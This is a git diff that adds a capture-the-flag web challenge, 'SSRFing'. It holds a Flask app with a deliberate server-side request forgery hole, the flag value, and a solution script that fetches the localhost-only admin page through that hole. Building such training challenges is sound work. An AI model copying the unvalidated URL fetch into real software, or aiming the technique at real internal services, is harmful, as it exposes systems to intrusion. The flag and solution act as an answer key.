FLAG=GTBQ{Acce55ing_1nt3rn4l_5erv1c35_1s_50_Aw3s0m3} + - FLASK_APP=/app/app.py + - FLASK_ENV=development + # volumes: + # - ./setup/app:/app diff --git a/web/ssrfing/setup/Dockerfile b/web/ssrfing/setup/Dockerfile new file mode 100644 index 0000000..040729f --- /dev/null +++ b/web/ssrfing/setup/Dockerfile @@ -0,0 +1,14 @@ +# Use the official Python base image +FROM python:3.9-slim + +WORKDIR /app + +COPY ./app/requirements.txt /app/requirements.txt + +RUN pip install --no-cache-dir -r requirements.txt + +COPY ./app /app/ + +EXPOSE 80 + +ENTRYPOINT ["python3", "/app/app.py"] diff --git a/web/ssrfing/setup/app/app.py b/web/ssrfing/setup/app/app.py new file mode 100644 index 0000000..ebde012 --- /dev/null +++ b/web/ssrfing/setup/app/app.py @@ -0,0 +1,32 @@ +import os +from flask import Flask, render_template, request, redirect, g, url_for, make_response +import requests + +app = Flask(__name__) + +FLAG = os.getenv('FLAG', 'GTBQ{Contact_Admin_If_You_See_This}') + +@app.route('/') +def index(): + return redirect(url_for('fetch')) + +@app.route('/fetch', methods=['GET', 'POST']) +def fetch(): + if request.method == 'POST': + url = request.form['url'] + try: + response = requests.get(url) + return render_template('fetch.html', response=response.text) + except requests.exceptions.RequestException as e: + return str(e) + return render_template('fetch.html') + +@app.route('/admin') +def admin(): + # allow only requests coming from localhost + if request.remote_addr != '127.0.0.1': + error = 'Only localhost is allowed to access this page' + return render_template('fetch.html', error=error) + return FLAG + +app.run(host='0.0.0.0', port=80, debug=True) diff --git a/web/ssrfing/setup/app/requirements.txt b/web/ssrfing/setup/app/requirements.txt new file mode 100644 index 0000000..30692b7 --- /dev/null +++ b/web/ssrfing/setup/app/requirements.txt @@ -0,0 +1,2 @@ +flask +requests diff --git a/web/ssrfing/setup/app/static/images/go_away.png b/web/ssrfing/setup/app/static/images/go_away.png new file mode 100644 index 0000000..953a28c Binary files /dev/null and b/web/ssrfing/setup/app/static/images/go_away.png differ diff --git a/web/ssrfing/setup/app/templates/admin.html b/web/ssrfing/setup/app/templates/admin.html new file mode 100644 index 0000000..5773dd3 --- /dev/null +++ b/web/ssrfing/setup/app/templates/admin.html @@ -0,0 +1,14 @@ +{% extends "layout.html" %} + +{% block content %} +
+

Congratulations!

+ + Nerd +
+{% endblock %} diff --git a/web/ssrfing/setup/app/templates/fetch.html b/web/ssrfing/setup/app/templates/fetch.html new file mode 100644 index 0000000..e6cc648 --- /dev/null +++ b/web/ssrfing/setup/app/templates/fetch.html @@ -0,0 +1,29 @@ +{% extends "layout.html" %} {% block content %} +
+
SSRFing
+ {% if error %} + + {% endif %} +
+
+
+ + +
+ +
+
+ {% if response %} + + {% endif %} +
+{% endblock %} diff --git a/web/ssrfing/setup/app/templates/header.html b/web/ssrfing/setup/app/templates/header.html new file mode 100644 index 0000000..582cbd0 --- /dev/null +++ b/web/ssrfing/setup/app/templates/header.html @@ -0,0 +1,24 @@ + diff --git a/web/ssrfing/setup/app/templates/layout.html b/web/ssrfing/setup/app/templates/layout.html new file mode 100644 index 0000000..64aed23 --- /dev/null +++ b/web/ssrfing/setup/app/templates/layout.html @@ -0,0 +1,16 @@ + + + + + + + {% block head %} {% endblock %} + + + {% include 'header.html' %} {% block content %} {% endblock %} {% block + after_content %} {% endblock%} + + diff --git a/web/ssrfing/solution/sol.py b/web/ssrfing/solution/sol.py new file mode 100644 index 0000000..3ff6d31 --- /dev/null +++ b/web/ssrfing/solution/sol.py @@ -0,0 +1,9 @@ +import requests +import sys + +s = requests.Session() +url = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337' + +# Abuse the ssrf vulnerability to fetch the admin page from localhost +r = s.post(url + "/fetch", data={'url': 'http://localhost/admin'}) +print(r.text)